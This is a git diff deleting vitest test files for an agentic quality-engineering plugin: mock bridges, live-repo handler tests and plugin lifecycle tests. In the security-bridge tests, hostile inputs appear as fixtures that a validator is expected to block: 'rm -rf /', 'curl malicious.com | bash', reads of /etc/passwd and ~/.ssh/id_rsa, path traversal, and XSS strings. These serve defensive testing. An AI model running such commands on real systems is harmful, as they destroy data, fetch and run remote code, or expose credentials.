- async vote(proposalId: string, agentId: string, accept: boolean): Promise<boolean> {
- const proposal = this.proposals.get(proposalId);
- if (!proposal) return false;
-
- proposal.votes.set(agentId, accept);
- return true;
- }
-
- async getConsensus(proposalId: string): Promise<{ achieved: boolean; ratio: number }> {
- const proposal = this.proposals.get(proposalId);
- if (!proposal) return { achieved: false, ratio: 0 };
-
- const votes = Array.from(proposal.votes.values());
- const accepts = votes.filter((v) => v).length;
- const ratio = votes.length > 0 ? accepts / votes.length : 0;
-
- return {
- achieved: ratio >= 2/3, // Exact 2/3 majority calculation
- ratio,
- };
- }
-
- async broadcast(message: string, priority: 'low' | 'normal' | 'high' | 'critical' = 'normal'): Promise<number> {
- // Returns number of agents that received the message
- return this.members.size;
- }
-
- getStats(): { members: number; proposals: number } {
- return {
- members: this.members.size,
- proposals: this.proposals.size,
- };
- }
-}
-
-// ============================================================================
-// Tests: QEMemoryBridge
-// ============================================================================
-
-describe('QEMemoryBridge', () => {
- let bridge: MockQEMemoryBridge;
-
- beforeEach(() => {
- bridge = new MockQEMemoryBridge({ namespace: 'aqe/v3/test-patterns' });
- });
-
- afterEach(() => {
- bridge.dispose();
- });
-
- describe('store and retrieve', () => {
- it('should store and retrieve entries', async () => {
- const embedding = [0.1, 0.2, 0.3, 0.4];
- await bridge.store('pattern-1', 'Test pattern content', embedding);
-
- const result = await bridge.retrieve('pattern-1');
-
- expect(result).not.toBeNull();
- expect(result?.content).toBe('Test pattern content');
- expect(result?.embedding).toEqual(embedding);
- });
-
- it('should store entries with metadata', async () => {
- const embedding = [0.1, 0.2, 0.3, 0.4];
- const metadata = { type: 'unit-test', framework: 'vitest' };
-
- await bridge.store('pattern-2', 'Test content', embedding, metadata);
-
- const result = await bridge.retrieve('pattern-2');
-
- expect(result?.metadata).toEqual(metadata);
- });
-
- it('should return null for non-existent entries', async () => {
- const result = await bridge.retrieve('non-existent');
-
- expect(result).toBeNull();
- });
-
- it('should use namespace prefix', async () => {
- await bridge.store('test-key', 'content', [0.1]);
-
- const stats = bridge.getStats();
-
- expect(stats.namespace).toBe('aqe/v3/test-patterns');
- });
- });
-
- describe('vector search', () => {
- beforeEach(async () => {
- await bridge.store('entry-1', 'Authentication test', [1, 0, 0, 0]);
- await bridge.store('entry-2', 'Login test', [0.9, 0.1, 0, 0]);
- await bridge.store('entry-3', 'Payment test', [0, 0, 1, 0]);
- });
-
- it('should search by similarity', async () => {
- const query = [0.95, 0.05, 0, 0];
- const results = await bridge.search(query, 2);
-
- expect(results.length).toBe(2);
- expect(results[0].score).toBeGreaterThan(results[1].score);
- });
-
- it('should respect topK limit', async () => {
- const query = [0.5, 0.5, 0.5, 0.5];
- const results = await bridge.search(query, 1);
-
- expect(results.length).toBe(1);
- });
-
- it('should return scores between 0 and 1', async () => {
- const query = [0.5, 0.5, 0, 0];
- const results = await bridge.search(query, 3);
-
- for (const result of results) {
- expect(result.score).toBeGreaterThanOrEqual(-1);
- expect(result.score).toBeLessThanOrEqual(1);
- }
- });
- });
-
- describe('delete and clear', () => {
- it('should delete entries', async () => {
- await bridge.store('to-delete', 'content', [0.1]);
-
- const deleted = await bridge.delete('to-delete');
-
- expect(deleted).toBe(true);
- expect(await bridge.retrieve('to-delete')).toBeNull();
- });
-
- it('should return false for non-existent delete', async () => {
- const deleted = await bridge.delete('non-existent');
-
- expect(deleted).toBe(false);
- });
-
- it('should clear all entries in namespace', async () => {
- await bridge.store('key-1', 'content 1', [0.1]);
- await bridge.store('key-2', 'content 2', [0.2]);
-
- await bridge.clear();
-
- const stats = bridge.getStats();
- expect(stats.entries).toBe(0);
- });
- });
-});
-
-// ============================================================================
-// Tests: QESecurityBridge
-// ============================================================================
-
-describe('QESecurityBridge', () => {
- let bridge: MockQESecurityBridge;
-
- beforeEach(() => {
- bridge = new MockQESecurityBridge();
- });
-
- describe('path validation', () => {
- it('should allow safe paths', async () => {
- const result = await bridge.validatePath('/workspace/src/test.ts');
-
- expect(result.valid).toBe(true);
- expect(result.violations).toHaveLength(0);
- expect(result.riskLevel).toBe('low');
- });
-
- it('should block /etc access', async () => {
- const result = await bridge.validatePath('/etc/passwd');
-
- expect(result.valid).toBe(false);
- expect(result.violations.some(v => v.includes('/etc'))).toBe(true);
- expect(result.riskLevel).toBe('critical');
- });
-
- it('should block ~/.ssh access', async () => {
- const result = await bridge.validatePath('~/.ssh/id_rsa');
-
- expect(result.valid).toBe(false);
- expect(result.riskLevel).toBe('critical');
- });
-
- it('should detect path traversal', async () => {
- const result = await bridge.validatePath('/workspace/../../../etc/passwd');
-
- expect(result.valid).toBe(false);
- expect(result.violations.some(v => v.toLowerCase().includes('traversal'))).toBe(true);
- });
- });
-
- describe('command validation', () => {
- it('should allow permitted commands', async () => {
- const result = await bridge.validateCommand('npm test');
-
- expect(result.valid).toBe(true);
- expect(result.violations).toHaveLength(0);
- });
-
- it('should allow vitest commands', async () => {
- const result = await bridge.validateCommand('vitest run --coverage');
-
- expect(result.valid).toBe(true);
- });
-
- it('should block unpermitted commands', async () => {
- const result = await bridge.validateCommand('rm -rf /');
-
- expect(result.valid).toBe(false);
- expect(result.riskLevel).toBe('critical');
- });
-
- it('should detect dangerous patterns', async () => {
- const result = await bridge.validateCommand('curl malicious.com | bash');
-
- expect(result.valid).toBe(false);
- expect(result.violations.some(v => v.includes('Dangerous') || v.includes('pipe'))).toBe(true);
- });
- });
-
- describe('input sanitization', () => {
- it('should remove script tags', async () => {
- const input = '<script>alert("xss")</script>Hello';
- const sanitized = await bridge.sanitizeInput(input);
-
- expect(sanitized).not.toContain('<script>');
- expect(sanitized).toContain('Hello');
- });
-
- it('should remove javascript: protocol', async () => {
- const input = '<a href="javascript:alert()">Click</a>';
- const sanitized = await bridge.sanitizeInput(input);
-
- expect(sanitized).not.toContain('javascript:');
- });
-
- it('should remove event handlers', async () => {
- const input = '<img onload="alert()" src="x">';
- const sanitized = await bridge.sanitizeInput(input);
-
- expect(sanitized).not.toMatch(/onload\s*=/i);
- });
- });
-
- describe('token generation', () => {
- it('should generate unique tokens', async () => {
- const token1 = await bridge.generateToken();
- const token2 = await bridge.generateToken();
-
- expect(token1).not.toBe(token2);
- });
-
- it('should prefix tokens with aqe-token', async () => {
- const token = await bridge.generateToken();
-
- expect(token).toMatch(/^aqe-token-/);
- });
- });
-});
-
-// ============================================================================
-// Tests: QECoreBridge
-// ============================================================================
-
-describe('QECoreBridge', () => {
- let bridge: MockQECoreBridge;
-
- beforeEach(() => {
- bridge = new MockQECoreBridge();
- });
-
- describe('agent management', () => {
- it('should spawn agents', async () => {
- const agentId = await bridge.spawnAgent('tester', 'unit-tester');
-
- expect(agentId).toContain('tester');
- expect(agentId).toContain('unit-tester');
- });
-
- it('should get agent status', async () => {
- const agentId = await bridge.spawnAgent('coder', 'main');
- const status = await bridge.getAgentStatus(agentId);
-
- expect(status).not.toBeNull();
- expect(status?.type).toBe('coder');
- expect(status?.status).toBe('active');
- expect(status?.taskCount).toBe(0);
- });
-
- it('should return null for non-existent agent', async () => {
- const status = await bridge.getAgentStatus('non-existent');
-
- expect(status).toBeNull();
- });
-
- it('should terminate agents', async () => {
- const agentId = await bridge.spawnAgent('tester', 'temp');
- const terminated = await bridge.terminateAgent(agentId);
-
- expect(terminated).toBe(true);
- expect(await bridge.getAgentStatus(agentId)).toBeNull();
- });
- });
-
- describe('task management', () => {
- it('should create tasks', async () => {
- const taskId = await bridge.createTask('test-generation', 'Generate unit tests');
-
- expect(taskId).toMatch(/^task-/);
- });
-
- it('should assign tasks to agents', async () => {
- const agentId = await bridge.spawnAgent('coder', 'worker');
- const taskId = await bridge.createTask('feature', 'Implement feature');
-
- const assigned = await bridge.assignTask(taskId, agentId);
-
- expect(assigned).toBe(true);
-
- const status = await bridge.getAgentStatus(agentId);
- expect(status?.taskCount).toBe(1);
- });
-
- it('should complete tasks', async () => {
- const taskId = await bridge.createTask('test', 'Run tests');
-
- const completed = await bridge.completeTask(taskId);
-
- expect(completed).toBe(true);
- });
-
- it('should return false for non-existent task operations', async () => {
- const assigned = await bridge.assignTask('non-existent', 'agent-1');
- const completed = await bridge.completeTask('non-existent');
-
- expect(assigned).toBe(false);
- expect(completed).toBe(false);
- });
- });
-
- describe('statistics', () => {
- it('should track agent and task counts', async () => {
- await bridge.spawnAgent('tester', 't1');
- await bridge.spawnAgent('coder', 'c1');
- await bridge.createTask('test', 'Test task');
-
- const stats = bridge.getStats();
-
- expect(stats.agents).toBe(2);
- expect(stats.tasks).toBe(1);
- });
- });
-});
-
-// ============================================================================
-// Tests: QEHiveBridge
-// ============================================================================
-
-describe('QEHiveBridge', () => {
- let bridge: MockQEHiveBridge;
-
- beforeEach(() => {
- bridge = new MockQEHiveBridge();
- });
-
- describe('membership', () => {
- it('should join hive', async () => {
- const joined = await bridge.joinHive('agent-1', 'worker');
-
- expect(joined).toBe(true);
-
- const stats = bridge.getStats();
- expect(stats.members).toBe(1);
- });
-
- it('should leave hive', async () => {
- await bridge.joinHive('agent-1');
- const left = await bridge.leaveHive('agent-1');
-
- expect(left).toBe(true);
-
- const stats = bridge.getStats();
- expect(stats.members).toBe(0);
- });
-
- it('should support different roles', async () => {
- await bridge.joinHive('worker-1', 'worker');
- await bridge.joinHive('specialist-1', 'specialist');
- await bridge.joinHive('scout-1', 'scout');
-
- const stats = bridge.getStats();
- expect(stats.members).toBe(3);
- });
- });
-
- describe('consensus', () => {
- beforeEach(async () => {
- await bridge.joinHive('agent-1');
- await bridge.joinHive('agent-2');
- await bridge.joinHive('agent-3');
- });
-
- it('should create proposals', async () => {
- const proposalId = await bridge.propose('agent-allocation', { task: 'testing' });
-
- expect(proposalId).toMatch(/^proposal-/);
-
- const stats = bridge.getStats();
- expect(stats.proposals).toBe(1);
- });
-
- it('should record votes', async () => {
- const proposalId = await bridge.propose('decision', 'option-a');
-
- const voted = await bridge.vote(proposalId, 'agent-1', true);
-
- expect(voted).toBe(true);
- });
-
- it('should achieve consensus with 2/3 majority', async () => {
- const proposalId = await bridge.propose('decision', 'option-a');
-
- await bridge.vote(proposalId, 'agent-1', true);
- await bridge.vote(proposalId, 'agent-2', true);
- await bridge.vote(proposalId, 'agent-3', false);
-
- const consensus = await bridge.getConsensus(proposalId);
-
- expect(consensus.achieved).toBe(true);
- expect(consensus.ratio).toBeCloseTo(0.67, 1);
- });
-
- it('should not achieve consensus without majority', async () => {
- const proposalId = await bridge.propose('decision', 'option-a');
-
- await bridge.vote(proposalId, 'agent-1', true);
- await bridge.vote(proposalId, 'agent-2', false);
- await bridge.vote(proposalId, 'agent-3', false);
-
- const consensus = await bridge.getConsensus(proposalId);
-
- expect(consensus.achieved).toBe(false);
- });
-
- it('should return no consensus for non-existent proposal', async () => {
- const consensus = await bridge.getConsensus('non-existent');
-
- expect(consensus.achieved).toBe(false);
- expect(consensus.ratio).toBe(0);
- });
- });
-
- describe('broadcast', () => {
- it('should broadcast to all members', async () => {
- await bridge.joinHive('agent-1');
- await bridge.joinHive('agent-2');
- await bridge.joinHive('agent-3');
-
- const received = await bridge.broadcast('Test message', 'high');
-
- expect(received).toBe(3);
- });
-
- it('should return 0 with no members', async () => {
- const received = await bridge.broadcast('Test message');
-
- expect(received).toBe(0);
- });
- });
-});
-
-// ============================================================================
-// Integration Tests
-// ============================================================================
-
-describe('Bridge Integration', () => {
- let memoryBridge: MockQEMemoryBridge;
- let securityBridge: MockQESecurityBridge;
- let coreBridge: MockQECoreBridge;
- let hiveBridge: MockQEHiveBridge;
-
- beforeEach(() => {
- memoryBridge = new MockQEMemoryBridge();
- securityBridge = new MockQESecurityBridge();
- coreBridge = new MockQECoreBridge();
- hiveBridge = new MockQEHiveBridge();
- });
-
- afterEach(() => {
- memoryBridge.dispose();
- });
-
- it('should coordinate test execution workflow', async () => {
- // 1. Validate path before test generation
- const pathValidation = await securityBridge.validatePath('/workspace/src/auth.ts');
- expect(pathValidation.valid).toBe(true);
-
- // 2. Spawn test agent
- const agentId = await coreBridge.spawnAgent('tester', 'unit-tester');
- expect(agentId).toBeDefined();
-
- // 3. Join hive for coordination
- await hiveBridge.joinHive(agentId, 'specialist');
-
- // 4. Create and assign task
- const taskId = await coreBridge.createTask('test-generation', 'Generate tests for auth.ts');
- await coreBridge.assignTask(taskId, agentId);
-
- // 5. Store test pattern
- await memoryBridge.store('auth-pattern', 'Authentication test pattern', [0.8, 0.1, 0.05, 0.05], {
- type: 'unit-test',
- file: 'auth.ts',
- });
-
- // 6. Complete task
- await coreBridge.completeTask(taskId);
-
- // Verify workflow completed
- const agentStatus = await coreBridge.getAgentStatus(agentId);
- expect(agentStatus?.taskCount).toBe(1);
-
- const memoryStats = memoryBridge.getStats();
- expect(memoryStats.entries).toBe(1);
- });
-
- it('should handle security violations in workflow', async () => {
- // Attempt to access blocked path
- const validation = await securityBridge.validatePath('/etc/passwd');
- expect(validation.valid).toBe(false);
-
- // Should not proceed with agent spawn for invalid paths
- if (!validation.valid) {
- // Log violation but don't spawn
- const stats = coreBridge.getStats();
- expect(stats.agents).toBe(0);
- }
- });
-});
diff --git a/v3/plugins/agentic-qe/__tests__/live-repo.test.ts b/v3/plugins/agentic-qe/__tests__/live-repo.test.ts
deleted file mode 100644
index 798451326f..0000000000
--- a/v3/plugins/agentic-qe/__tests__/live-repo.test.ts
+++ /dev/null
@@ -1,431 +0,0 @@
-/**
- * Live Repo Integration Tests
- *
- * Tests the agentic-qe tool handlers against real files in the ruflo repository.
- * Each test imports the actual handler, calls it with real paths, and validates
- * the response structure and content.
- */
-
-import { describe, it, expect } from 'vitest';
-import { handler as securityScanHandler } from '../src/tools/security-compliance/security-scan';
-import { handler as analyzeCoverageHandler } from '../src/tools/coverage-analysis/analyze-coverage';
-import { handler as generateTestsHandler } from '../src/tools/test-generation/generate-tests';
-import { handler as chaosInjectHandler } from '../src/tools/chaos-resilience/chaos-inject';
-
-// Minimal tool context that returns undefined for all lookups
-// (matches the ToolContext interface: { get<T>(key: string): T | undefined })
-const emptyContext = { get: () => undefined };
-
-describe('Live Repo: security-scan', () => {
- it('should scan github-tools.ts and return findings with expected structure', async () => {
- const response = await securityScanHandler(
- {
- targetPath: 'v3/@claude-flow/cli/src/mcp-tools/github-tools.ts',
- scanType: 'sast',
- compliance: ['owasp-top-10'],
- severity: 'all',
- includeRemediation: true,
- scanDepth: 'standard',
- excludePatterns: ['node_modules', 'dist'],
- },
- emptyContext,
- );
-
- // Response envelope: content array with text entries
- expect(response).toHaveProperty('content');
- expect(Array.isArray(response.content)).toBe(true);
- expect(response.content.length).toBeGreaterThan(0);
- expect(response.content[0]).toHaveProperty('type', 'text');
- expect(response.content[0]).toHaveProperty('text');
-
- // Parse the JSON payload
- const text = response.content[0].text;
- expect(text.length).toBeGreaterThan(0);
- const result = JSON.parse(text);
-
- // Top-level fields
- expect(result.success).toBe(true);
- expect(result).toHaveProperty('summary');
- expect(result).toHaveProperty('findings');
- expect(result).toHaveProperty('complianceResults');
- expect(result).toHaveProperty('metrics');
- expect(result).toHaveProperty('recommendations');
- expect(result).toHaveProperty('metadata');
-
- // Summary fields
- expect(typeof result.summary.totalFindings).toBe('number');
- expect(result.summary.totalFindings).toBeGreaterThan(0);
- expect(typeof result.summary.riskScore).toBe('number');
- expect(['A', 'B', 'C', 'D', 'F']).toContain(result.summary.grade);
-
- // At least one finding should exist (SAST on a file with execSync)
- expect(result.findings.length).toBeGreaterThan(0);
- const finding = result.findings[0];
- expect(finding).toHaveProperty('id');
- expect(finding).toHaveProperty('title');
- expect(finding).toHaveProperty('severity');
- expect(finding).toHaveProperty('category');
- expect(finding).toHaveProperty('location');
- expect(finding.location).toHaveProperty('file');
- expect(finding.location).toHaveProperty('startLine');
-
- // Remediation should be present since we requested it
- const findingsWithRemediation = result.findings.filter(
- (f: { remediation?: unknown }) => f.remediation,
- );
- expect(findingsWithRemediation.length).toBeGreaterThan(0);
-
- // Compliance results
- expect(result.complianceResults.length).toBeGreaterThan(0);
- expect(result.complianceResults[0]).toHaveProperty('framework', 'owasp-top-10');
- expect(result.complianceResults[0]).toHaveProperty('score');
- expect(result.complianceResults[0]).toHaveProperty('status');
-
- // Metadata
- expect(result.metadata).toHaveProperty('scanType', 'sast');
- expect(result.metadata).toHaveProperty('durationMs');
- expect(result.metadata.durationMs).toBeGreaterThanOrEqual(0);
- expect(result.metadata).toHaveProperty('engineVersion');
- });
-
- it('should filter by severity when set to critical', async () => {
- const response = await securityScanHandler(
- {
- targetPath: 'v3/@claude-flow/cli/src/mcp-tools/github-tools.ts',
- scanType: 'sast',
- compliance: ['owasp-top-10'],
- severity: 'critical',
- includeRemediation: false,
- scanDepth: 'quick',
- excludePatterns: ['node_modules'],
- },
- emptyContext,
- );
-
- const result = JSON.parse(response.content[0].text);
- expect(result.success).toBe(true);
-
- // All findings should be critical severity
- for (const finding of result.findings) {
- expect(finding.severity).toBe('critical');
- }
- });
-});
-
-describe('Live Repo: analyze-coverage', () => {
- it('should analyze the mcp-tools directory and return coverage data', async () => {
- const response = await analyzeCoverageHandler(
- {
- targetPath: 'v3/@claude-flow/cli/src/mcp-tools',
- algorithm: 'johnson-lindenstrauss',
- prioritize: true,
- includeFileDetails: true,
- projectionDimension: 32,
- },
- emptyContext,
- );
-
- // Response envelope
- expect(response).toHaveProperty('content');
- expect(Array.isArray(response.content)).toBe(true);
- expect(response.content.length).toBeGreaterThan(0);
- expect(response.content[0]).toHaveProperty('type', 'text');
-
- // Parse the JSON payload
- const text = response.content[0].text;
- expect(text.length).toBeGreaterThan(0);
- const result = JSON.parse(text);
-
- // Top-level fields
- expect(result.success).toBe(true);
- expect(result).toHaveProperty('summary');
- expect(result).toHaveProperty('gaps');
- expect(result).toHaveProperty('files');
- expect(result).toHaveProperty('thresholdResults');
- expect(result).toHaveProperty('algorithm');
- expect(result).toHaveProperty('metadata');
-
- // Summary has coverage metrics
- expect(result.summary).toHaveProperty('lines');
- expect(result.summary.lines).toHaveProperty('covered');
- expect(result.summary.lines).toHaveProperty('total');
- expect(result.summary.lines).toHaveProperty('percentage');
- expect(result.summary).toHaveProperty('branches');
- expect(result.summary).toHaveProperty('functions');
- expect(result.summary).toHaveProperty('overall');
- expect(typeof result.summary.overall).toBe('number');
-
- // Gaps should exist
- expect(Array.isArray(result.gaps)).toBe(true);
- expect(result.gaps.length).toBeGreaterThan(0);
- const gap = result.gaps[0];
- expect(gap).toHaveProperty('id');
- expect(gap).toHaveProperty('type');
- expect(gap).toHaveProperty('file');
- expect(gap).toHaveProperty('location');
- expect(gap).toHaveProperty('risk');
- expect(gap).toHaveProperty('suggestions');
-
- // File details should be present since includeFileDetails: true
- expect(result.files.length).toBeGreaterThan(0);
- const file = result.files[0];
- expect(file).toHaveProperty('path');
- expect(file).toHaveProperty('lines');
- expect(file).toHaveProperty('branches');
- expect(file).toHaveProperty('functions');
- expect(file).toHaveProperty('complexity');
-
- // Algorithm info for JL
- expect(result.algorithm.name).toBe('johnson-lindenstrauss');
- expect(result.algorithm.complexity).toBe('O(log n)');
- expect(result.algorithm.projectionDimension).toBe(32);
- expect(result.algorithm.speedup).toBeGreaterThan(1);
-
- // Threshold results
- expect(result.thresholdResults.length).toBeGreaterThan(0);
- for (const threshold of result.thresholdResults) {
- expect(threshold).toHaveProperty('metric');
- expect(threshold).toHaveProperty('threshold');
- expect(threshold).toHaveProperty('actual');
- expect(typeof threshold.passed).toBe('boolean');
- }
-
- // Metadata
- expect(result.metadata).toHaveProperty('durationMs');
- expect(result.metadata).toHaveProperty('filesAnalyzed');
- expect(result.metadata.algorithm).toBe('johnson-lindenstrauss');
- });
-
- it('should also work with full-scan algorithm', async () => {
- const response = await analyzeCoverageHandler(
- {
- targetPath: 'v3/@claude-flow/cli/src/mcp-tools',
- algorithm: 'full-scan',
- prioritize: false,
- includeFileDetails: false,
- projectionDimension: 32,
- },
- emptyContext,
- );
-
- const result = JSON.parse(response.content[0].text);
- expect(result.success).toBe(true);
- expect(result.algorithm.name).toBe('full-scan');
- expect(result.algorithm.complexity).toBe('O(n)');
- // Files should be empty since includeFileDetails: false
- expect(result.files).toEqual([]);
- });
-});
-
-describe('Live Repo: generate-tests', () => {
- it('should generate tests for request-tracker.ts', async () => {
- const response = await generateTestsHandler(
- {
- targetPath: 'v3/@claude-flow/cli/src/mcp-tools/request-tracker.ts',
- testType: 'unit',
- style: 'tdd-london',
- includeEdgeCases: true,
- includeMocks: true,
- maxTests: 10,
- },
- emptyContext,
- );
-
- // Response envelope
- expect(response).toHaveProperty('content');
- expect(Array.isArray(response.content)).toBe(true);
- expect(response.content.length).toBeGreaterThan(0);
- expect(response.content[0]).toHaveProperty('type', 'text');
-
- // Parse the JSON payload
- const text = response.content[0].text;
- expect(text.length).toBeGreaterThan(0);
- const result = JSON.parse(text);
-
- // Top-level fields
- expect(result.success).toBe(true);
- expect(result).toHaveProperty('testFile');
- expect(result).toHaveProperty('tests');
- expect(result).toHaveProperty('coverage');
- expect(result).toHaveProperty('metadata');
-
- // testFile path should reference request-tracker
- expect(result.testFile).toContain('request-tracker');
- expect(result.testFile).toContain('__tests__');
-
- // Tests array
- expect(Array.isArray(result.tests)).toBe(true);
- expect(result.tests.length).toBeGreaterThan(0);
- expect(result.tests.length).toBeLessThanOrEqual(10);
-
- // Each generated test should have required fields
- for (const test of result.tests) {
- expect(test).toHaveProperty('name');
- expect(test.name.length).toBeGreaterThan(0);
- expect(test).toHaveProperty('type');
- expect(test).toHaveProperty('description');
- expect(test).toHaveProperty('code');
- expect(test.code.length).toBeGreaterThan(0);
- expect(test).toHaveProperty('assertions');
- expect(test.assertions).toBeGreaterThan(0);
- expect(typeof test.edgeCase).toBe('boolean');
- }
-
- // Should include edge case tests since includeEdgeCases: true
- const edgeCases = result.tests.filter((t: { edgeCase: boolean }) => t.edgeCase);
- expect(edgeCases.length).toBeGreaterThan(0);
-
- // Coverage estimate
- expect(result.coverage).toHaveProperty('lineCoverage');
- expect(result.coverage).toHaveProperty('branchCoverage');
- expect(result.coverage).toHaveProperty('functionCoverage');
- expect(result.coverage.lineCoverage).toBeGreaterThan(0);
-
- // Metadata
- expect(result.metadata).toHaveProperty('framework');
- expect(result.metadata).toHaveProperty('style', 'tdd-london');
- expect(result.metadata).toHaveProperty('totalTests');
- expect(result.metadata.totalTests).toBe(result.tests.length);
- expect(result.metadata).toHaveProperty('executionTimeMs');
- expect(result.metadata.executionTimeMs).toBeGreaterThanOrEqual(0);
- });
-
- it('should auto-detect language as typescript for .ts files', async () => {
- const response = await generateTestsHandler(
- {
- targetPath: 'v3/@claude-flow/cli/src/mcp-tools/request-tracker.ts',
- testType: 'unit',
- style: 'tdd-london',
- includeEdgeCases: false,
- includeMocks: false,
- maxTests: 3,
- },
- emptyContext,
- );
-
- const result = JSON.parse(response.content[0].text);
- expect(result.success).toBe(true);
- // Default framework for typescript is vitest
- expect(result.metadata.framework).toBe('vitest');
- // The test code should contain vitest-style syntax
- expect(result.tests[0].code).toContain('expect');
- });
-});
-
-describe('Live Repo: chaos-inject', () => {
- it('should perform a dryRun latency injection without side effects', async () => {
- const response = await chaosInjectHandler(
- {
- target: 'test-mcp-tools',
- failureType: 'network-latency',
- duration: 10,
- intensity: 0.3,
- dryRun: true,
- rollbackOnFailure: true,
- monitorMetrics: true,
- notifyChannels: [],
- },
- emptyContext,
- );
-
- // Response envelope
- expect(response).toHaveProperty('content');
- expect(Array.isArray(response.content)).toBe(true);
- expect(response.content.length).toBeGreaterThan(0);
- expect(response.content[0]).toHaveProperty('type', 'text');
-
- // Parse the JSON payload
- const text = response.content[0].text;
- expect(text.length).toBeGreaterThan(0);
- const result = JSON.parse(text);
-
- // Top-level fields
- expect(result.success).toBe(true);
- expect(result).toHaveProperty('experimentId');
- expect(result.experimentId).toMatch(/^chaos-/);
- expect(result).toHaveProperty('status');
- expect(result).toHaveProperty('injection');
- expect(result).toHaveProperty('impact');
- expect(result).toHaveProperty('metrics');
- expect(result).toHaveProperty('timeline');
- expect(result).toHaveProperty('recommendations');
- expect(result).toHaveProperty('metadata');
-
- // Status should indicate dry-run
- expect(result.status.state).toBe('dry-run');
- expect(result.status.progress).toBe(100);
- expect(result.status.startTime).toBeTruthy();
- expect(result.status.endTime).toBeTruthy();
-
- // Injection details
- expect(result.injection.type).toBe('network-latency');
- expect(result.injection.target).toBe('test-mcp-tools');
- expect(result.injection.intensity).toBe(0.3);
- expect(result.injection.duration).toBe(10);
- expect(result.injection.affectedComponents.length).toBeGreaterThan(0);
-
- // Impact assessment
- expect(['none', 'low', 'medium', 'high', 'critical']).toContain(result.impact.severity);
- expect(result.impact).toHaveProperty('serviceDisruption');
- expect(result.impact.serviceDisruption).toHaveProperty('errorRate');
- expect(result.impact.serviceDisruption).toHaveProperty('avgLatency');
- expect(result.impact.dataLoss).toBe(false);
-
- // Metrics: baseline, duringChaos, afterChaos
- expect(result.metrics).toHaveProperty('baseline');
- expect(result.metrics).toHaveProperty('duringChaos');
- expect(result.metrics).toHaveProperty('afterChaos');
- expect(result.metrics.baseline).toHaveProperty('cpu');
- expect(result.metrics.baseline).toHaveProperty('memory');
- expect(result.metrics.duringChaos.networkLatency).toBeGreaterThanOrEqual(
- result.metrics.baseline.networkLatency,
- );
- expect(typeof result.metrics.degradation).toBe('number');
- expect(typeof result.metrics.recoveryTime).toBe('number');
-
- // Timeline should have events
- expect(result.timeline.length).toBeGreaterThan(0);
- for (const event of result.timeline) {
- expect(event).toHaveProperty('timestamp');
- expect(event).toHaveProperty('event');
- expect(event).toHaveProperty('type');
- expect(['info', 'warning', 'error', 'recovery']).toContain(event.type);
- }
-
- // Recommendations
- expect(result.recommendations.length).toBeGreaterThan(0);
- for (const rec of result.recommendations) {
- expect(rec).toHaveProperty('category');
- expect(rec).toHaveProperty('priority');
- expect(rec).toHaveProperty('finding');
- expect(rec).toHaveProperty('recommendation');
- }
-
- // Metadata confirms dry run
- expect(result.metadata.dryRun).toBe(true);
- expect(result.metadata).toHaveProperty('version');
- });
-
- it('should handle cpu-stress failure type in dryRun mode', async () => {
- const response = await chaosInjectHandler(
- {
- target: 'test-worker',
- failureType: 'cpu-stress',
- duration: 5,
- intensity: 0.7,
- dryRun: true,
- rollbackOnFailure: true,
- monitorMetrics: true,
- notifyChannels: [],
- },
- emptyContext,
- );
-
- const result = JSON.parse(response.content[0].text);
- expect(result.success).toBe(true);
- expect(result.status.state).toBe('dry-run');
- expect(result.injection.type).toBe('cpu-stress');
- // CPU stress at 0.7 intensity should produce noticeable degradation
- expect(result.metrics.degradation).toBeGreaterThan(0);
- });
-});
diff --git a/v3/plugins/agentic-qe/__tests__/plugin.test.ts b/v3/plugins/agentic-qe/__tests__/plugin.test.ts
deleted file mode 100644
index b59645a13b..0000000000
--- a/v3/plugins/agentic-qe/__tests__/plugin.test.ts
+++ /dev/null
@@ -1,591 +0,0 @@
-/**
- * Agentic-QE Plugin Lifecycle Tests
- *
- * Tests for the agentic-qe plugin initialization, configuration,
- * shutdown, and health check functionality.
- */
-
-import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest';
-
-// ============================================================================
-// Mock Types (until implementation exists)
-// ============================================================================
-
-interface PluginMetadata {
- name: string;
- version: string;
- description?: string;
- author?: string;
- license?: string;
- dependencies?: string[];
- tags?: string[];
- minCoreVersion?: string;
-}
-
-interface PluginContext {
- config: {
- enabled: boolean;
- priority: number;
- settings: Record<string, unknown>;
- };
- eventBus: {
- emit: (event: string, data?: unknown) => void;
- on: (event: string, handler: (data: unknown) => void) => () => void;
- off: (event: string, handler: (data: unknown) => void) => void;
- };
- logger: {
- debug: (msg: string, ...args: unknown[]) => void;
- info: (msg: string, ...args: unknown[]) => void;
- warn: (msg: string, ...args: unknown[]) => void;
- error: (msg: string, ...args: unknown[]) => void;
- };
- services: Map<string, unknown>;
- coreVersion: string;
- dataDir: string;
-}
-
-interface MCPToolDefinition {
- name: string;
- description: string;
- inputSchema: Record<string, unknown>;
- handler: (input: unknown) => Promise<{ content: Array<{ type: string; text: string }> }>;
-}
-
-type PluginState = 'uninitialized' | 'initializing' | 'initialized' | 'error' | 'shutdown';
-
-// ============================================================================
-// Mock Plugin Implementation
-// ============================================================================
-
-class MockAQEPlugin {
- public metadata: PluginMetadata;
- public state: PluginState = 'uninitialized';
- private context?: PluginContext;
- private tools: MCPToolDefinition[] = [];
- private bridges: Map<string, unknown> = new Map();
-
- constructor(metadata: Partial<PluginMetadata> = {}) {
- this.metadata = Object.freeze({
- name: 'agentic-qe',
- version: '3.2.3',
- description: 'Quality Engineering plugin for Claude Flow V3',
- author: 'rUv',
- license: 'MIT',
- dependencies: [
- '@claude-flow/plugins',
- '@claude-flow/memory',
- '@claude-flow/security',
- '@claude-flow/embeddings',
- ],
- tags: ['testing', 'quality', 'coverage', 'security', 'tdd'],
- minCoreVersion: '3.0.0-alpha.50',
- ...metadata,
- });
- }
-
- async initialize(context: PluginContext): Promise<void> {
- if (this.state === 'initialized') {
- throw new Error('Plugin already initialized');
- }
-
- this.state = 'initializing';
- this.context = context;
-
- try {
- // Validate core version
- if (!this.isVersionCompatible(context.coreVersion)) {
- throw new Error(`Core version ${context.coreVersion} is not compatible with minimum required ${this.metadata.minCoreVersion}`);
- }
-
- // Initialize bridges
- await this.initializeBridges();
-
- // Register tools
- this.tools = this.createTools();
-
- this.state = 'initialized';
- context.logger.info(`${this.metadata.name} initialized successfully`);
- } catch (error) {
- this.state = 'error';
- throw error;
- }
- }
-
- async shutdown(): Promise<void> {
- if (this.state !== 'initialized') {
- return;
- }
-
- // Cleanup bridges
- for (const [name, bridge] of this.bridges) {
- if (typeof (bridge as any)?.dispose === 'function') {
- await (bridge as any).dispose();
- }
- }
- this.bridges.clear();
-
- // Clear tools
- this.tools = [];
